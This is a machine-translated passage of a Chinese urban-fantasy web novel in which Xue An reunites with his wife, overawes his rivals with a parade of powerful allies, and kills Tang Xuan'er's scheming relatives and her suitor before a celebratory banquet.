    Jiao Ying laughed at this time: "Xuan''er, how do you say it is my niece, uncle, I have always cared about you, you said that you are too old now, and you should find a good person..."


    Zhu Feng continued: "Your uncle is right, this is not... After seeing your photos, the company where your uncle works is very interested in you!"


    Jiao Ying said again: "Hey, this person is extraordinary, he is from the Deng family in Beijiang, don��t you know that Deng��s family? Most of the car 4S stores in Beijiang are owned by others! Assets are calculated in billions!"


    Tang Xuan''er finally understood. It turned out that her relatives came to tell her about her!


    Tang Xuan''er was so angry that her lips turned pale.


    I have been indifferent to myself for so many years, but now I feel like goods, want to sell myself?


    "Excuse me, I have no interest in what you said about the Deng family!" Tang Xuan''er said coldly.


    Jiao Ying was taken aback for a moment, but Zhu Feng''s face was thick enough that he didn''t care about these cold words at all, but said with a sad face.


    "Xuan''er, I know, it was your uncle and I who did the wrong thing at the beginning, which broke your heart. We have been full of guilt over the past two years. No, we have kept the property left by your parents. Okay, just wait for you to return the original after you get married!"


    Tang Xuan''er was taken aback, "Auntie..."


    Zhu Feng''s tears fell, "Xuan''er, don''t be angry with us. This blind date is also because your uncle felt that you were wandering outside and it was too hard and wanted to find you a good person! "


    Tang Xuan''er shook her head, "Thank you for your kindness, but I won''t go!"


    "Why?"


    Tang Xuan''er bit her silver teeth, "There is no reason, but I don''t want to go on a blind date now."


    Zhu Feng and Jiao Ying glanced at each other, their faces were full of disappointment and resentment.


    "How about that, if you don''t want to go outside, let''s meet at home, what do you think?" Zhu Feng rolled his eyes and continued.


    "At home?"


    "Yeah! How about where you live now? Both my uncle and I followed, which is a simple meeting, Shao Deng said. If you fail, you will make friends!"


    Tang Xuan''er still wanted to refuse, but Zhu Feng could not help pushing Tang Xuan''er to go home.


    Seeing this, Xiaosha swallowed the sausage in his mouth and rushed over.


    In its view, Tang Xuan''er feeds herself every day, and she is so familiar with her boss. If anyone dares to bully her, she must let him know how powerful the Dragon King is!


    "Xiao Sha! Don''t!" Tang Xuan''er shouted quickly.


    If he hit this one, this Zhu Feng would be seriously injured if he didn''t die.


    Xiaosha landed helplessly and gave the two men a vicious look.


    Zhu Feng sipped in secret, not taking this Beijing Ba seriously. UU reading www. uukanshu.com


    "Xuan''er, you should be pitiful for the two of us. Deng Shao is the immediate boss of your uncle''s work unit, that is, when you meet, if you are unwilling, turn around and leave, okay?" Zhu Fengzhuang A pitiful look.


    Tang Xuan''er felt soft after all, so she nodded helplessly, "Well, let''s meet at home!"


    "Good!" Zhu Feng and Jiao Ying laughed happily.


    Tang Xuan''er called Xiaosha over, and she had a bottom.


    As long as Xiaosha follows her, safety is guaranteed.


    Of course, you can''t go to Tianzi No.1 Villa. Tang Xuaner thought about it and decided to go back to the community first.


    After all, Xue An is not in Beijiang now, there is still vacant there.


    After making up his mind, Tang Xuan''er got in his uncle''s car and drove to the community.


    When Deng Mao received the WeChat from Jiao Ying, he couldn''t help but get excited.


    Zhu Feng did not tell the truth.


    Deng Mao did not see Tang Xuan''er from the photo, but when he went to the hospital to visit patients a few days ago, he met Tang Xuan''er by chance.


    Deng Mao was shocked at the time. After returning, he began to frantically inquire about Tang Xuan''er''s details, and then unexpectedly discovered that Tang Xuan''er''s uncle was actually working in his own company.


    Deng Mao couldn''t help being overjoyed, so he quickly found Jiao Ying and asked in detail.


    Jiao Yingle''s nose is about to come out, and the Deng family is actually in love with his niece?


    This is a great thing!


    When I went back and talked to my wife, the couple immediately made up their minds and came to find Tang Xuan''er.


    Now that things are done, Deng Mao is naturally happy.


    Deng Mao looked at the glossy self in the mirror, and couldn''t help smiling smugly.


    Little Beauty, wait, I am coming!

 Chapter 152： Call the group male

    Qin''s house.


    Until today, Qin Yu learned the news that Xue An had returned to Beijiang.


    This can''t help but let her be shocked, and immediately prepared to rush over to see Xue An.


    but Qin Yuan stopped him.


    "Don''t worry, since Mr. Xue didn''t speak up, he didn''t even go to Villa No.1 Tianzi, but went back to the community where he originally lived. It can be seen that he must have his own business."


    "My business?" Qin Yu still didn''t understand.


    Qin Yuan chuckled, then his face gradually became solemn, "Do you know what happened in Lingnan a few days ago?"


    Qin Yu nodded, "I heard that, Mr. Xue slaughtered all the people in the Fairy Gate Conference!"


    Speaking of this incident, Qin Yu still had some horror on his face.


    Qin Yuan shook his head, "It''s not that simple. I have heard some more secret news!"


    "what news?"


    A look of horror flashed across Qin Yuan''s face.


    "A big sect in the hidden world fairy gate has completely disappeared!"


    "Disappear completely?"


    Qin Yuan nodded, "All the people of this sect have disappeared, and...even the mountain where the sect is located has been razed to the ground!"


    Qin Yu gradually rounded his eyes, "Grandpa, what do you mean..."


    Qin Yuan nodded with a wry smile, "Although I didn''t believe it at first, this news is unequivocal, and it is Mr. Xue who appeared in that school in the end!"


    Qin Yu took a breath.


    "And... Mr. Xue is so angry, it''s probably because of a woman!" Qin Yuan said.


    Because of a woman?


    Qin Yu thought in his heart, what kind of woman is it that can make Mr. Xue so angry?


    At this moment, Qin Yu felt that his cell phone was shaking, and when he took it out, it was Xue An who sent a message.


    Qin Yu got nervous and opened it quickly.


    "Come!"


    The message is just one word.


    "What''s the matter?" Qin Yuan couldn''t help asking when he found his granddaughter''s gaffe.


    "It''s the news from Mr. Xue, the news is just one word, come!" Qin Yu said blankly.


    Qin Yuan was startled slightly, then stood up, "Go get ready for the car!"


    "Grandpa..." Qin Yu is still a little unsure.


    Qin Yuan smiled, "Don''t you understand what Mr. Xue means? He is letting us pass."


    As he said, Qin Yuan seemed to think of something again, "Remember to bring more things that women like! Jewelry and necklaces, the more expensive the better!"


    "Grandpa, you mean..."


    Qin Yuan nodded, "Yes, Mr. Xue is here to tell everyone that the mother of the two little girls, his true wife, is back!"


    It is not only Qin Yu who received the news from Xue An. For example, the father and daughter of Tan Dong Tan Xiaoyu in Zhenbei Wuguan, the grandfather and grandson of Hua Xingyu Hua Tingting, and others have all received it.


    At the same time, in a small tavern in the provincial capital.


    Shi Hao and Feng Chaocao sat opposite each other and were drinking.


    Feng Chaochou put down the wine glass, and laughed somewhat self-deprecatingly: "I didn''t expect that in the provincial capital now, the person who would drink with me would be you!"


    Shi Hao smiled slightly, "Feng Shao, I actually admire you!"


    "What do you admire me? Do you want to kill yourself?" Feng Chaocao whispered.


    Shi Hao sighed and shook his head, "How can those vulgar people outside understand what Feng Shao thinks?"


    "Oh? What do I think?" Feng Chaocao smiled slightly.


    "Feng Shao was actually betting on that day!"


    "What to bet?" Feng Chaocao''s smile gradually converged.


    "Bet Mr. Xue doesn''t care!"


    After saying this, the smile on Feng Chaocai''s face disappeared, and it took a long time before he slowly said: "You are also good!"


    Shi Hao raised his cup with a solemn expression on his face, "That''s because I have seen the facts clearly. Only a person like Mr. Xue is worthy of being a dragon above the nine heavens!"


    Feng Chaocao nodded, and the two drank the wine in one go.


    Then Shi Hao''s face showed a look of horror, "Feng Shao, have you heard the rumors?"


    Feng Chaocao nodded, "Who doesn''t know about the martial arts world today?"


    Shi Hao smiled bitterly, "But there is another heavy news, I don''t think you guys know it!"


    "Oh?"


    Shi Hao licked his chapped lips, his eyes were filled with horror, "Mr. Xue... directly destroyed a hidden fairy gate! It was the kind of complete elimination! Even the mountain gate was not left!"


    hiss!


    Feng Chaocao gasped.


    Shi Hao sighed at this time, "It''s ridiculous that I still wanted to fight for the limelight with Mr. Xue, now I think it''s really killing me!"


    Feng Chaocao nodded silently, how could he not be like this before!


    "Fortunately, you and I are all aware of current affairs. Except for the Qin family, today''s provincial capitals belong to you and me!" Shi Hao said quite proudly.


    What he said is also the truth.


    In the current provincial capital, who doesn��t know the names of the second young master of Shijia and Feng Shao?


    Even in their respective families, a lot of things have to be decided by both of them.


    "Come on, to Mr. Xue!" Feng Chaochou toasted.


    "Yes! To Mr. Xue a cup!" Shi Hao smiled and raised his cup.


    Just about to drink, their phones rang at the same time.


    looked down, both of them were stunned, and then turned on the phone quickly without taking any alcohol.


    The two received messages from Xue An.


    is also a word: come!


    Shi Hao and Feng Chaocao raised their heads and looked at each other. After a while, their expressions became solemn.


    "Mr. Xue is asking us to go there?" Feng Chaocao took a deep breath and asked.


    Shi Hao nodded, "Hmm!"


    "How far is the provincial city from Beijiang?"


    "Probably... more than three hundred kilometers!" Shi Hao frowned.


    Feng Chaocao looked down at his watch, ��It��s 4:03 in the afternoon, and Mr. Xue must have let us arrive before night! But it��s more than 300 kilometers, it��s definitely too late to drive...��


    Shi Hao waved his hand, his eyes flashed with determination, "If it''s too late to drive, then fly the plane over! Mr. Xue has a call, then we have to fly over even if we fly!"


    Lao Xie Restaurant Fat aunt is busy choosing dishes, Lao Xie is busy drinking a small wine.


    Xie Jingjing wrote homework in the back room.


    "It''s good to drink, if you drink too much, I will see how you can cook in a while!" Aunt Fatty said babblingly.


    Lao Xie didn''t care too much, and drank contentedly.


    When I was relaxing, the phone rang, and Old Xie frowned. If I called at this point, I thought I was going to order food again!


    He answered the phone, but Xue An''s voice came over there.


    "Thank you, Uncle!"


    Old Xie was startled, and then became excited, "Xiao An, why do you think of calling?"


    This small Ann made the two women inside and outside the house **** up their ears at the same time!


    Xiao An smiled on the other end of the phone and said: "It''s okay, I''m back to Beijiang now, you and my fat aunt will come here tonight, Anyan is back!"


    An Yan.......


    Old Xie was stunned for a moment, and then said very happily: "Okay! Okay! Your husband and wife are finally reunited. This is a happy event. Your fat aunt and I must be there!"


    After a few words, Xie hung up the phone.


    The fat aunt looked at Old Xie and asked excitedly: "Xiao''an''s wife is back?"


    Old Xie nodded, and then waved his hand, "Close the door! Change clothes! Let''s go to celebrate the reunion of Xiaoan and his wife tonight."


    Fat aunt nodded and walked into the back room with a heart move.


    I saw Xie Jingjing writing homework with her head down.


    Fat aunt relaxed a little, and said softly: "After you finish writing, go and change your clothes. We will go to your Xiaoan brother''s house in a moment!"


    "Huh!" Xie Jingjing responded in a low voice.


    After the fat aunt turned and went out, big tears dripped from Xie Jingjing''s eyes, wet all the writing on the notebook.

 Chapter 153： he is my friend

    Xue An hung up the phone and smiled at An Yan, "Thank you, Uncle, for coming too!"


    An Yan said helplessly: "Why make such a big momentum?"


    Xue An walked over, wrapped An Yan in his arms, and gently pressed his chin against An Yan''s head.


    "Because I want everyone to know... You are my woman!"


    An Yan shook all over, then grabbed Xue An''s waist and gave a soft hmm.


    "Aren''t you called Xuan''er?" An Yan asked suddenly.


    Xue An smiled, "She is now living in Villa Tianzi No. 1, and we will come to find her in a while and give her a surprise by the way!"


    An Yan nodded, her face full of guilt, "At that time, thanks to Xuan''er, otherwise, I guess I won''t even be able to get off the operating table!"


    Xue An hugged An Yan distressedly, "It''s all over, everything is over, I will let you and miss you in the future, and become the happiest woman in the world!"


    And An Yan suddenly leaned in Xue An''s ear and said softly: "Then... where is that female star Fan Mengxue?"


    Xue An was startled.


    An Yan smiled like a little cat, "Thinking and Niannian told me everything!"


    Xue An smiled bitterly: "Yan''er, between me and Mengxue..."


    An Yan stretched out her hand to cover Xue An''s mouth, shook her head gently, her eyes were full of love, "Needless to say, I understand."


    Then An Yan whispered: "I am not a woman with a small belly, I know that you only have me in your heart, that''s enough! She is not a bad person, and it is not wrong to like someone. You call her over and have fun together, it is not better. ?"


    Xue An nodded, "Okay! Then I''ll call!"


    At this moment, Fan Mengxue is shooting a new movie in a scenic spot not too far from Beijiang.


    After shooting a long shot, the director nodded in satisfaction, poked his head out from behind the camera and smiled: "Mengxue, the performance is great, take a break!"


    Fan Mengxue nodded, wiped the tears from the scene just now, then walked to the side chair and sat down.


    The other members of the ���� crew all looked at her with admiration.


    You need to know that many actors who are far less famous than Fan Mengxue have great temper and style.


    But Fan Mengxue has always been very approachable, and his acting skills are even more difficult to say.


    Actors like ���� are naturally loved by the crew.


    starring in the male lead is an old drama player who has been famous for more than ten years.


    At this moment, he also walked over, with a smile on his face: "Mengxue, your crying scene just now makes me think it is true!"


    Fan Mengxue nodded politely, "Thank you!"


    The actor leaned closer, "The weather is so hot now, and the show will be over in a while, how about we go to play the string?"


    Fan Mengxue smiled slightly, then shook his head, "Sorry! I don''t want to go!"


    "Oh...." The actor''s smile was somewhat reluctant.


    "Then... why don''t we add a WeChat account. I have been filming on the crew for so long, and I don''t have your personal WeChat account yet!" The actor retreated and said.


    Fan Mengxue was about to refuse, when the phone rang, she looked down and was stunned.


    "Mengxue?" The actor still wanted to talk.


    Fan Mengxue stood up suddenly, "Sorry, I don''t have WeChat!"


    Fan Mengxue turned and walked away, leaving the actor standing there with an embarrassed expression.


    Fan Mengxue walked far away and took a deep breath before connecting.


    "Mengxue!"


    When Xue An''s voice came out of the phone, Fan Mengxue''s nose was sour, and she almost shed tears.


    "Hmm! I''m here!"


    "Go back to Beijiang tonight, I''m back!"


    "Good!" Fan Mengxue said without hesitation.


    "An Yan is back too!" Xue An said again.


    Fan Mengxue was stunned.


    An Yan.......


    This is a name she has never dared to think of.


    Has she finally returned?


    After a long time, Fan Mengxue wiped the tears from her eyes and smiled, "Congratulations!"


    Xue An was silent.


    "I..." Fan Mengxue wanted to say that she didn''t go back because she had something to do, but she couldn''t say it anyway.


    At this moment, An Yan whispered beside Xue An: "Mengxue, I am An Yan, come back, let''s have a meal together!"


    Hearing this voice, Fan Mengxue shook all over, and then said with a trembling, "Okay, I''m going back now!"


    After Xue An hung up the phone, An Yan''s hand gently stroked Xue An''s waist. With a sudden force, he pinched a piece of meat, and then twisted it hard.


    There was a sharp pain.


    Xue An grinned, disguising an expression of pain on his face.


    Actually, An Yan''s hand strength is like a tickle to Xue An.


    And Xue An has to work hard to control, otherwise a rebound will hurt An Yan.


    An Yan pursed her lips and released her hand, "It''s boring, you don''t actually hurt at all!"


    Xue An smiled bitterly, "You asked me to make the call, and now you still pinch me! Is there any reason for it!"


    An Yan used to pretend to be angry, but in the end he sneered and smiled.


    "Actually, I am not jealous at all. My husband has so many outstanding girls who like it. Doesn''t this prove that my vision is good!"


    Xue An coughed, but wisely did not say a word.


    "And I know, you have me in your heart, that''s enough!" An Yan said quietly.


    Xue An sighed and stroked An Yan''s hair lightly You, after so many years, it hasn''t changed, and it''s still so kind and distressing. "


    The two were talking, Xue An suddenly frowned, then turned to look out the window.


    "what happened?"


    "Xuan''er is here!"


    Xue An felt the breath of Xiaosha, so he said that.


    "Isn''t it better for Xuan''er to come over?"


    Xue An shook his head, "There are others!"


    this moment.


    Jiao Ying''s car drove into the community.


    The dilapidated scenery of the community made Jiao Ying and Zhu Feng full of disdain.


    Tang Xuan''er lives here, which shows that her life is not well-off.


    Xiao Sha, who has been lazily lying on the seat since I got in the car, suddenly sat up.


    It also felt Xue An''s breath.


    The boss is back?


    Now there is barbecue again!


    Xiaosha is very happy.


    "Let''s go upstairs and sit for a while, I have told Shao Deng that he will be there soon!" Zhu Feng said with a smile.


    Tang Xuan''er walked upstairs with a cold face, just about to open the door, but found that Xue An had opened the door, and then smiled and said, "Xuan''er, why are you here?"


    Xue An''s appearance changed the expressions of Zhu Feng and Jiao Ying.


    Who is this man?


    Could it be the man Tang Xuaner hooked up outside?


    But Tang Xuan''er''s vision is too bad, right? She lives in such a shabby place. It can be seen that this man doesn''t have much money.


    For an instant, Zhu Feng and Jiao Ying had several thoughts in their hearts, and then the expressions on their faces became somewhat arrogant.


    "Xuan''er, who is he?"


    Tang Xuan''er was looking at Xue An in surprise at this moment, and she was relieved after hearing the question.


    "This is my friend, Xue An!"

 Chapter 154： If your family is really cow*, you should recognize me

    Xue An?


    Zhu Feng and Jiao Ying looked at each other. They had never heard of a wealthy family named Xue in Beijiang!


    I guess you really are a pauper!


    At this time An Yan rushed out in surprise and hugged Tang Xuan''er, but tears flowed out first.


    "Xuaner!"


    Tang Xuan''er was stunned, and it took a long time before she realized. "You... Are you An Yan?"


    "Of course it''s me!"


    Tang Xuan''er was also very surprised, "Xiaoyan, you are finally back! Where have you been in the past few years?"


    "Hmm! It''s a long story, let''s go in first! Hmm? These two people are......" An Yan noticed Jiao Ying and Zhu Feng.


    The couple were also startled by An Yan''s stunning appearance, but after a little thought, the expressions on their faces became arrogant again.


    "We are Xuan''er''s uncle and aunt!"


    "Oh! Then come in together!" An Yan greeted very warmly.


    When they entered the room, Jiao Ying and Zhu Feng glanced at each other, and both curled their lips.


    The house is dilapidated and the decoration is not very good. It seems that he is not a rich man!


    "Mr. Xue, where are you taller?" Jiao Ying began to make a routine consciously or unconsciously.


    Xue An naturally could see the thoughts of the couple, and smiled faintly, "Me? I have no job, I have been staying at home!"


    Oh... It turned out to be a vagrant!


    Jiao Ying''s expression turned arrogant for another three points.


    "Then you and our family Xuaner..."


    Tang Xuan''er said first at this time: "We are just friends!"


    After a pause, Tang Xuan''er emphasized bitterly: "Ordinary friends!"


    It��s no problem now! Jiao Ying and Zhu Feng were secretly happy.


    At this moment, Deng Mao drove a brand new BMW to the downstairs of the community.


    The surrounding environment made Deng Mao frowned, and he became more confident in his heart.


    has all lived in such a place. It can be seen that Tang Xuan''er''s life is very embarrassing. If that''s the case, if you try to lure him a little bit for profit, wouldn''t it be easy?


    Thinking of this, Deng Mao''s heart surged and went straight upstairs.


    As soon as the knock on the door sounded, Zhu Feng stood up with an excitement.


    "I''ll open the door!" Zhu Feng opened the door in a hurry.


    Then Deng Mao walked in slowly.


    To his surprise, there are other people in the hall.


    Especially An Yan, Deng Mao''s eyes flashed with surprise.


    Jiao Ying stood up at this time, nodded and bowed: "Shao Deng, this is my niece Xuan''er!"


    Deng Shao gave Tang Xuan''er a greedy look, then walked over and put down the gift in his hand.


    "Miss Xuan''er, I bought this easily on the way, so I think it''s a meeting ceremony!"


    When Zhu Feng saw this packaging bag, his eyes lit up, "Deng Shao is generous, it is such an expensive bag, Xuan Er, have you thanked Shao Deng?"


    Tang Xuan''er didn''t even look at the package, but just nodded, "Thank you, Shao Deng, but I don''t need it, and..."


    Tang Xuan''er looked at Jiao Ying and Zhu Feng, "Let me see you, and I will see you too, now... can I go?"


    ''S words made the atmosphere in the room awkward.


    Although Deng Mao tried his best to maintain his demeanor, his eyelids were still beating.


    Jiao Ying hurriedly walked over and said, hating the iron and steel, "Silly girl, how can you talk to Deng Shao? Don''t you apologize quickly? Deng Shao really wants to make friends with you!"


    Tang Xuan''er was pale, but shook her head stubbornly, "I don''t need him to make friends with me, and it''s what you said. After seeing each other, turn around and leave. Why should I apologize?"


    Zhu Feng finally couldn''t hold back at this time, and said with a gloomy face: "Xuan''er, are you just talking to your elders like this?"


    As soon as the voice fell, Xue An, who had been watching coldly, couldn''t help laughing.


    "What are you laughing at?" Deng Mao asked in a cold voice, just because he couldn''t get angry.


    Xue An raised his eyebrows, "What am I laughing at? I laughed at some people who used their affection as a killer to threaten others, and also laughed at some people who think they are very powerful. In fact... it''s just a joke!"


    These words made Deng Mao''s complexion extremely ugly.


    And Jiao Ying said angrily: "Xue, what''s the matter with you here? Do you know who this is?"


    "Oh?" Xue An asked with interest, "I want to know!"


    "He is the young master of Deng Maodeng from the Deng family in Beijiang, do you know the Deng family? Most of the car 4S shops in Beijiang belong to the Deng family. What else can you say?"


    Zhu Feng also sneered at this time: "That''s right, there are some people who do nothing all day and are unemployed people. They actually laugh at Deng Shao as a joke. I think you are the joke!"


    These words made Tang Xuan''er intolerable, she stood up and wanted to talk.


    Xue An waved her hand, motioned her to sit down, and then looked at Zhu Feng with a playful look.


    "Beijiang Deng''s house?"


    "Yes! Beijiang Deng''s family, how is it? Scared!" Zhu Feng sneered.


    Xue An shook his head and chuckled, then looked at Deng Mao, and said in a calm tone: "If your Deng family is really good in Beijiang, you should recognize me!"


    Deng Mao couldn''t help laughing when he heard the words, and said with a mocking face: "I''m sorry, our Deng family... really don''t know your Excellency."


    Jiao Ying and Zhu Feng are also mocking, thinking that Xue An must be bragging.


    And Xue An sighed slightly at this time, "So, your Deng family is still not good enough*!"


    Deng Mao sneered, just about to talk.


    Xue An pointed to the window, "It should be all here, you can go and see!"


    What does ���� mean? Everything has arrived?


    Deng Mao and Jiao Ying and Zhu Feng are all a little confused.


    Then Deng Mao walked to the window with a look of disdain He thought that Xue An was playing mystery.


    As expected.


    The downstairs is empty and there is nothing.


    Jiao Ying and Zhu Feng also leaned over to take a look at this time, and then sneered: "The surname is Xue, you let us see..."


    I didn''t finish the following words.


    appeared because of a shocking scene.


    I saw a pure black Rolls-Royce fleet slowly drove into the community. Not only did these Rolls-Royce have the same color and style, but even the license plates were connected.


    The first car is 00001, the second is 00002, and so on, there are more than a dozen cars!


    Deng Mao''s expression stagnated.


    His family sells cars, so I know that these Rolls Royces are very valuable.


    But the most important thing is these license plates.


    This is something you can''t buy with money!


    But this is just the beginning.


    These Rolls-Royce just stopped, and then slowly drove into a convoy of military green Hummers.


    These Hummers are not even sold in China, they can only be purely imported.


    Sweat stains gradually appeared on Deng Mao''s forehead.


    At this time, another twenty or thirty luxury cars of various colors drove in outside the community.


    There are Porsche sports cars and Bentley luxury cars. These cars are all parked properly without exception.


    This kind of momentum made the entire community look at him.


    Jiao Ying and Zhu Feng were even more stunned.


    This...what is going on?


    Why do so many luxury cars suddenly appear?


    And at this moment, a deafening sound of helicopter rotors came from mid-air.


    Deng Mao and Jiao Ying Zhufeng, the bosses with their mouths open, watched the helicopter stupidly as it landed on the ground below.

 Chapter 155： The heroes gather to respect Xue An

    This shocking scene made all three of them look stupid.


    At this time, Jiao Ying swallowed hard, and smiled forcefully: "Maybe there are some unknown rich people in this community!"


    But these words are said, even he himself thinks it is impossible.


    Deng Mao didn''t say a word, he was standing there now with a blank face.


    Who is this man?


    Why are there so many luxury cars gathered here?


    was thinking, there was a clatter of high heels outside.


    Then there was a lady with a beautiful dress came in.


    This woman has a beautiful face, a dignified manner, and a very imposing manner.


    Deng Mao looked familiar, but for a moment he couldn''t remember where he saw it.


    The person who came was naturally Qin Yu. As soon as she entered the door, she saw Xue An and An Yan sitting on the sofa, especially An Yan, which made her look bright.


    What a stunning beauty.


    Then she bowed her head respectfully and said: "I have seen Mr. Xue!"


    Xue An smiled faintly, "You came quite early."


    Qin Yu smiled, "There is something in the group, and my grandfather will be there soon!"


    At this moment, Deng Mao trembled and suddenly remembered who this woman was.


    But this result left Deng Mao''s brain blank.


    is her?


    But how is it possible!


    What kind of status is she, why should she respect this man so much?


    Zhu Feng saw Deng Mao''s strange appearance at this time, and couldn''t help asking: "Deng Shao, what''s the matter with you?"


    Deng Shao was trembling all over, where could he say something.


    At the same time, Tan Dong, Tan Xiaoyu''s father and daughter, and Hua Xingyu, Hua Tingting''s grandson and grandson also walked in.


    These are all famous figures in Beijiang, and Deng Mao has also seen them.


    Then he watched these big people bend over respectfully to Xue An.


    Such a scene made Deng Mao''s eyes go dark and almost fell to the ground.


    As for Jiao Ying and Zhu Feng, they were even more frightened at this moment.


    I am a fool now, and I can see that Xue An is definitely no ordinary person.


    And when Qin Yuan stepped in, Deng Mao''s legs softened and fell to the ground like a puddle of mud.


    He had followed his father to visit Qin Yuan, and he recognized it at a glance.


    After Feng Chaocao and Shi Hao also walked into the house, almost all the wealthy families of Beijiang and the provincial capital gathered here.


    Then these people stood up respectfully, bending over to Xue An.


    "I have seen Mr. Xue!"


    The momentum is so great that it is daunting.


    Deng Mao''s eyes were filled with despair and horror.


    This man...who is this man?


    At this time, Xue An turned his head, revealing two white tiger teeth, and said with a grin: "I said, if your Deng family is strong enough in Beijiang, you should recognize me!"


    Deng Mao trembles, his teeth rattle, and he can''t even speak.


    and Qin Yu frowned, "Mr. Xue, who is this person?"


    Qin Yuan said faintly at this time: "I recognize him, he is the eldest young master of the Deng family."


    Deng''s house?


    Qin Yu pondered for a moment, then suddenly realized: "Is it the Deng''s house that sells the car?"


    Qin Yuan nodded.


    At this time, Deng Mao ran up to Qin Yuan, begging: "Master Qin, please be merciful and help me!"


    Qin Yuan was expressionless, shook his head and said, "Shao Deng, you are wrong. Here, only Mr. Xue is useful!"


    Deng Mao quickly turned around and smiled at Xue An: "Xue...Mr. Xue..."


    Xue An shook his head, then looked at Jiao Ying and Zhu Feng who were shrinking in the corner.


    "Did the three of you have discussed it?"


    As soon as ���� said these words, the expressions of the three changed greatly.


    Deng Maoqiang smiled and said, "Mr. Xue...I don''t know what you are talking about!"


    Xue An sighed slightly, "Actually, as soon as you came in, I found out. If I''m not here today, and if Xuan''er doesn''t follow you, are you ready to use it?"


    Speaking of the back, Xue An''s tone was harsh and full of murderous aura.


    Jiao Ying plopped and fell to her knees, kowtowing like garlic and said: "Mr. Xue for my life, Mr. Xue for my life, this is what Deng Shao ordered!"


    The room is quiet.


    Tang Xuan''er was so angry that her eyes were red.


    She never expected that her so-called relative would be so vicious with her heart.


    Xue An raised his head and looked at Qin Yuan, "This Deng family..."


    Qin Yu preemptively said: "Mr. Xue, don''t worry, the Deng family will no longer exist until tonight!"


    These words made Deng Mao''s face pale and sweaty.


    And Xue An lowered his head and smiled at An Yan, "My wife, close your eyes!"


    An Yan closed her eyes obediently.


    Xue An said lightly: "In fact, this is not a big deal!"


    Jiao Ying and others looked happy, thinking that Xue An was going to let him go.


    Then Xue Ansen smiled, "Just pay attention in the next life!"


    After that, Xue An flicked his finger.


    The flame ignited from the feet of Deng Mao, Jiaoying and Zhu Feng, and in an instant, it burned to nothing.


    These harsh methods have caused the pupils of everyone present to shrink for it.


    Kill and decisively!


    This is... Mr. Xue!


    With so many people, this small house naturally cannot be opened.


    Qin Yu suggested that it is better to go to the hotel opened by Qin''s house or to Tianzi No. 1 Villa.


    But Xue An shook his head, "Just here, put a table on the open space below!"


    Xue An said so, people dare not object.


    Qin Yu made a call, and soon, the back kitchen of the five-star hotel in Qin''s family was dispatched.


    tables and chairs are directly drawn from the furniture market.


    Qin Yu is very careful, even the ingredients are prepared, all high-end ingredients.


    Super chefs also started cooking on the street.


    They all know that this time they are going to be a treat, but even the old chairman has to be respectful.


    So they all took out the exquisite art at the bottom of the box.


    The scent of the food floats far away Wait for the banquet to be ready.


    Everyone looked at Xue An, waiting for him to say something to start.


    Xue An was not in a hurry, just looked at the moonlight in the sky.


    "hold on!"


    He didn''t speak, no one dared to move his chopsticks.


    just sit quietly.


    More than ten minutes passed.


    A white nanny car arrived.


    When Fan Mengxue got off the car, there was a commotion at the banquet.


    "Hey, isn''t that Fan Mengxue?"


    "It''s her, yes! I love watching her movies the most!"


    "Why is she here too?"


    "Shhh, can''t you tell? This Fan Mengxue also knows Mr. Xue!"


    And An Yan stood up with a smile at the moment, "Come on, Mengxue, sit here!"


    Fan Mengxue''s complexion was a little pale, then nodded, and sat down next to An Yan obediently.


    Xue An waved his hand at this time.


    The audience came down in awe.


    Xue An smiled faintly, "I invite you to come today, just to tell everyone that she is my Xue An��s woman! The mother of my two daughters!"


    Said, Xue An took An Yan over.


    There was a commotion at the bottom of the people, Shi Hao and Feng Chaocai winked, and then everyone collectively left the table and bowed respectfully and shouted: "I have seen Mrs. Xue!"


    Its sound shook the sky.


    There were tears in An Yan''s eyes, and she was a little at a loss.


    Xue An laughed, then held the cup in his hand, "Today, I will offer you a cup!"


    Feng Chaocao took a step forward at this moment, "Mr. Xue, we should toast you a glass!"


    As Feng Chaocao raised his cup, everyone else raised their glasses.


    "Mr. Jing!"


    This is what the heroes gather to respect Xue An!

 Chapter 156： What is the crime of playing as a husband?

    Almost everyone wants to come forward to toast Xue An and An Yan.


    An Yan only drank a little juice symbolically, and Xue An naturally blocked the rest.


    But Xue An never refused to come, and did it as soon as the cup came. He was not drunk at all until he drank many people.


    At this time.


    A timid voice came from behind.


    "Brother Xiao An, can I toast you a glass?"


    Xue An turned his head to look, and saw Xie Jingjing holding a glass of wine, looking at herself idiotically.


    Xue An smiled, "Okay! But you''d better not drink the bar!"


    Xie Jingjing shook her head stubbornly, "Just a cup, okay?"


    Xue An was startled, then nodded.


    gently touched the cup, Xie Jingjing looked at Xue An with a complicated expression, and then whispered: "Brother Xiao An, I wish you happiness!"


    After that, Xie Jingjing drank the wine in one cup.


    Xue An sighed slightly, and then drank a glass of wine.


    Xie Jingjing looked at Xue An with tears, then turned and ran!


    At this time, An Yan stood up and said: "I''m back upstairs with my thoughts and thoughts first!"


    Xue An nodded.


    Then An Yan smiled at Tang Xuan''er and Fan Mengxue, "These are men''s wine bureaus, we women should go back!"


    After that, An Yan led Tang Xuan''er and Fan Mengxue upstairs together.


    After they left, the atmosphere of the wine bureau became more relaxed.


    At this time, Old Xie came forward to toast.


    Lao Xie has seen the world today.


    Many big figures in Beijiang and even the provincial capital, but they held their breath in front of Xue An.


    It seems that Xiao An��s achievements now are beyond his imagination.


    But even so, Xue An hasn''t changed at all, still smiling and drinking with himself.


    This makes Xie feel very comfortable.


    Because of this, he finished three cups in a row and left with satisfaction.


    At this time, Qin Yuan came over with a wine glass, "Mr. Xue, I''ll toast you a glass!"


    Xue An smiled and drank in one sip.


    Qin Yuan smiled, "Mr. Xue really has a lot!" He drank his glass of wine as he spoke.


    After putting down the wine glass, Qin Yuan looked solemn.


    "Mr. Xue, there is a sentence, I don''t know if I should ask or not!"


    "Oh? What are you talking about?"


    Qin Yuan hesitated for a moment, and then asked in a low voice: "May I ask Mrs. Ling...what is the relationship with Zhongdu Anjia?"


    Xue An smiled, "Yes, she is the one who settles down!"


    Qin Yuan''s eyes flashed a little, and he nodded, "Understood, what will Mr. Xue do in the future?"


    "It''s very simple, no matter who it is, as long as he owes me, I will naturally take it back!" Xue An said lightly.


    Qin Yuan looked dignified, and then said very seriously: "Mr. Xue...Although the Zhongdu Anjia is known as one of the top ten giants in the Chinese capital, if you use it, our Qin family will go all out!"


    "And I don''t believe that the giants in Zhongdu are really as powerful as the rumors!"


    When he said this, a touch of determination and death flashed across Qin Yuan''s face.


    Xue An smiled, "Just a home, it won''t be in my eyes!" Xue An raised his head and looked at the stars in the sky and said lightly.


    "This world is far wider than what you see!"


    Many people were drunk this night.


    Until the wee hours, the crowd gradually dispersed.


